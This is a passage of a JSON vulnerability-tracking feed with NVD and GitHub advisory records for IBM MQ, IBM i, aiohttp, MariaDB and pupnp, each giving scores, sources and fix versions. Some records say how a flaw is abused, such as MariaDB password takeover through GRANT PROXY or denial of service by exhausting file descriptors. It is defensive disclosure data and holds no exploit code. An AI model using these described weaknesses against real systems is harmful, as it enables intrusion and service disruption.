operator"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-12665","asOf":"2026-10-23T17:21:42.577Z"},"epss":{"probability":0.00315,"percentile":0.24227,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-12665&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-12665","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12665","type":"primary","publishedAt":"2026-10-19T17:17:18.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7292667","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-12665&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-12665, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-12148","cveId":"CVE-2026-12148","aliases":[],"kind":"vulnerability","title":"IBM MQ Operator could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to unrestricted Java deserialization in the MQ Classes...","summary":"IBM MQ Operator could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to unrestricted Java deserialization in the MQ Classes for Java.","detail":"IBM MQ Operator could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to unrestricted Java deserialization in the MQ Classes for Java.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T17:17:17.120Z","updatedAt":"2026-10-23T21:00:54.453Z","regions":["Global"],"vendor":"ibm","product":"mq operator","stacks":["IBM","Java","mq operator"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-12148","asOf":"2026-10-23T21:00:54.453Z"},"epss":{"probability":0.00395,"percentile":0.33436,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-12148&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-12148","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12148","type":"primary","publishedAt":"2026-10-19T17:17:17.120Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7292667","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-12148&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-12148, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111066","cveId":"CVE-2026-111066","aliases":["GHSA-9xw5-w5jj-pvcg"],"kind":"vulnerability","title":"AIOHTTP: File descriptor exhaustion in multipart requests","summary":"AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. From 2.0.0 until 3.14.4, multipart request processing can retain an unbounded number of open file descriptors. An unauthenticated attacker can consequently exhaust file descriptors with specially crafted multipart requests when a handler uses Request.post(). This issue is fixed in version 3.14.4.","detail":"AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. From 2.0.0 until 3.14.4, multipart request processing can retain an unbounded number of open file descriptors. An unauthenticated attacker can consequently exhaust file descriptors with specially crafted multipart requests when a handler uses Request.post(). This issue is fixed in version 3.14.4.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T17:17:03.637Z","updatedAt":"2026-10-20T19:52:10.000Z","regions":["Global"],"vendor":null,"product":"aiohttp","stacks":["Python packages (PyPI)","aiohttp","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-9xw5-w5jj-pvcg","asOf":"2026-10-20T19:52:10.000Z"},"epss":{"probability":0.00412,"percentile":0.35125,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111066&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111066","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111066","type":"primary","publishedAt":"2026-10-19T17:17:03.637Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"GitHub-reviewed advisory GHSA-9xw5-w5jj-pvcg","url":"https://github.com/advisories/GHSA-9xw5-w5jj-pvcg","type":"primary","publishedAt":"2026-10-20T19:52:09.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-9xw5-w5jj-pvcg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-9xw5-w5jj-pvcg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-9xw5-w5jj-pvcg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-9xw5-w5jj-pvcg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-9xw5-w5jj-pvcg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-9xw5-w5jj-pvcg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-9xw5-w5jj-pvcg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-9xw5-w5jj-pvcg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-9xw5-w5jj-pvcg, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111066&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111066, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-10743","cveId":"CVE-2026-10743","aliases":[],"kind":"vulnerability","title":"IBM MQ could allow an authenticated attacker to cause a denial of service or corrupt memory due to improper validation of buffer sizes in MQOPEN operations.","summary":"IBM MQ could allow an authenticated attacker to cause a denial of service or corrupt memory due to improper validation of buffer sizes in MQOPEN operations.","detail":"IBM MQ could allow an authenticated attacker to cause a denial of service or corrupt memory due to improper validation of buffer sizes in MQOPEN operations.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T17:17:02.107Z","updatedAt":"2026-10-23T15:33:41.670Z","regions":["Global"],"vendor":"ibm","product":"mq operator","stacks":["IBM","mq operator"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-10743","asOf":"2026-10-23T15:33:41.670Z"},"epss":{"probability":0.00283,"percentile":0.20591,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-10743&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-10743","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10743","type":"primary","publishedAt":"2026-10-19T17:17:02.107Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7292667","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-10743&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-10743, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-10574","cveId":"CVE-2026-10574","aliases":[],"kind":"vulnerability","title":"IBM MQ could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to a heap buffer overflow when processing MQPUT or MQPUT1...","summary":"IBM MQ could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to a heap buffer overflow when processing MQPUT or MQPUT1 operations with malformed message handle properties.","detail":"IBM MQ could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to a heap buffer overflow when processing MQPUT or MQPUT1 operations with malformed message handle properties.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T17:17:01.780Z","updatedAt":"2026-10-23T15:34:30.750Z","regions":["Global"],"vendor":"ibm","product":"mq operator","stacks":["IBM","mq operator"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-10574","asOf":"2026-10-23T15:34:30.750Z"},"epss":{"probability":0.00437,"percentile":0.3774,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-10574&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-10574","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10574","type":"primary","publishedAt":"2026-10-19T17:17:01.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7292667","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-10574&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-10574, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-10572","cveId":"CVE-2026-10572","aliases":[],"kind":"vulnerability","title":"IBM MQ could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to a heap buffer overflow when processing MQPUT operations with...","summary":"IBM MQ could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to a heap buffer overflow when processing MQPUT operations with malformed message options.","detail":"IBM MQ could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to a heap buffer overflow when processing MQPUT operations with malformed message options.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T17:17:01.440Z","updatedAt":"2026-10-23T15:35:14.310Z","regions":["Global"],"vendor":"ibm","product":"mq operator","stacks":["IBM","mq operator"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-10572","asOf":"2026-10-23T15:35:14.310Z"},"epss":{"probability":0.00447,"percentile":0.38561,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-10572&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-10572","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10572","type":"primary","publishedAt":"2026-10-19T17:17:01.440Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7292667","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-10572&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-10572, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102917","cveId":"CVE-2026-102917","aliases":[],"kind":"vulnerability","title":"IBM i 7.3, 7.4, 7.5, and 7.6 is vulnerable to an authenticated attacker elevating their privilege.","summary":"IBM i 7.3, 7.4, 7.5, and 7.6 is vulnerable to an authenticated attacker elevating their privilege. A bad actor could exploit this vulnerability to perform operations with QSECOFR/Root authority on the system.","detail":"IBM i 7.3, 7.4, 7.5, and 7.6 is vulnerable to an authenticated attacker elevating their privilege. A bad actor could exploit this vulnerability to perform operations with QSECOFR/Root authority on the system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T19:17:01.273Z","updatedAt":"2026-10-23T16:05:55.517Z","regions":["Global"],"vendor":"ibm","product":"i","stacks":["IBM","i"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102917","asOf":"2026-10-23T16:05:55.517Z"},"epss":{"probability":0.00133,"percentile":0.02787,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102917&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102917","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102917","type":"primary","publishedAt":"2026-10-16T19:17:01.273Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7292422","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102917&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102917, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97380","cveId":"CVE-2026-97380","aliases":[],"kind":"vulnerability","title":"MariaDB server is a community developed fork of MySQL server.","summary":"MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, the GRANT PROXY statement treats an IDENTIFIED clause with an empty password as though authentication were not specified, causing it to check the wrong grantor privileges. A low-privileged attacker who can name another account can exploit this authorization error to set that account's password. This issue is fixed in versions 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2.","detail":"MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, the GRANT PROXY statement treats an IDENTIFIED clause with an empty password as though authentication were not specified, causing it to check the wrong grantor privileges. A low-privileged attacker who can name another account can exploit this authorization error to set that account's password. This issue is fixed in versions 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T17:18:02.013Z","updatedAt":"2026-10-20T15:31:51.417Z","regions":["Global"],"vendor":"mariadb","product":"mariadb","stacks":["MySQL and MariaDB","mariadb"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97380","asOf":"2026-10-20T15:31:51.417Z"},"epss":{"probability":0.00777,"percentile":0.5557,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97380&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97380","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97380","type":"primary","publishedAt":"2026-10-16T17:18:02.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/MariaDB/server/security/advisories/GHSA-625w-4hgq-qwmr","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97380&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97380, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86047","cveId":"CVE-2026-86047","aliases":[],"kind":"vulnerability","title":"MariaDB server is a community developed fork of MySQL server.","summary":"MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, SHOW CREATE SERVER, SHOW CREATE USER, and mariadb-dump are affected because each does not consistently quote identifiers and values when serializing SQL. A low-privileged attacker can trigger the issue when an attacker-created object with crafted identifiers or values is included in SHOW output or a dump, then create an object with crafted identifiers or values so generated SQL contains injected statements and execute attacker-injected SQL when the poisoned output is applied. This issue is fixed in versions 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2.","detail":"MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, SHOW CREATE SERVER, SHOW CREATE USER, and mariadb-dump are affected because each does not consistently quote identifiers and values when serializing SQL. A low-privileged attacker can trigger the issue when an attacker-created object with crafted identifiers or values is included in SHOW output or a dump, then create an object with crafted identifiers or values so generated SQL contains injected statements and execute attacker-injected SQL when the poisoned output is applied. This issue is fixed in versions 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T17:17:52.063Z","updatedAt":"2026-10-20T15:32:39.523Z","regions":["Global"],"vendor":"mariadb","product":"mariadb","stacks":["MySQL and MariaDB","mariadb"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86047","asOf":"2026-10-20T15:32:39.523Z"},"epss":{"probability":0.00492,"percentile":0.41997,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86047&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86047","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86047","type":"primary","publishedAt":"2026-10-16T17:17:52.063Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/MariaDB/server/security/advisories/GHSA-wxr3-wm3p-7w6p","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86047&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86047, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77630","cveId":"CVE-2026-77630","aliases":[],"kind":"vulnerability","title":"pupnp is an SDK for development of UPnP device and control point applications.","summary":"pupnp is an SDK for development of UPnP device and control point applications. Prior to 22.0.4, parse_hostport in upnp/src/genlib/net/uri/uri.c synchronously calls getaddrinfo while parse_uri is processing attacker-supplied hostnames from inbound HTTP request targets in upnp/src/genlib/net/http/httpparser.c and GENA SUBSCRIBE CALLBACK headers handled by create_url_list in upnp/src/gena/gena_device.c. A remote unauthenticated peer can choose a slow or nonresponsive hostname and block a bounded miniserver worker for the resolver timeout, allowing a small number of requests to exhaust the thread pool and deny UPnP service. This issue is fixed in 22.0.4.","detail":"pupnp is an SDK for development of UPnP device and control point applications. Prior to 22.0.4, parse_hostport in upnp/src/genlib/net/uri/uri.c synchronously calls getaddrinfo while parse_uri is processing attacker-supplied hostnames from inbound HTTP request targets in upnp/src/genlib/net/http/httpparser.c 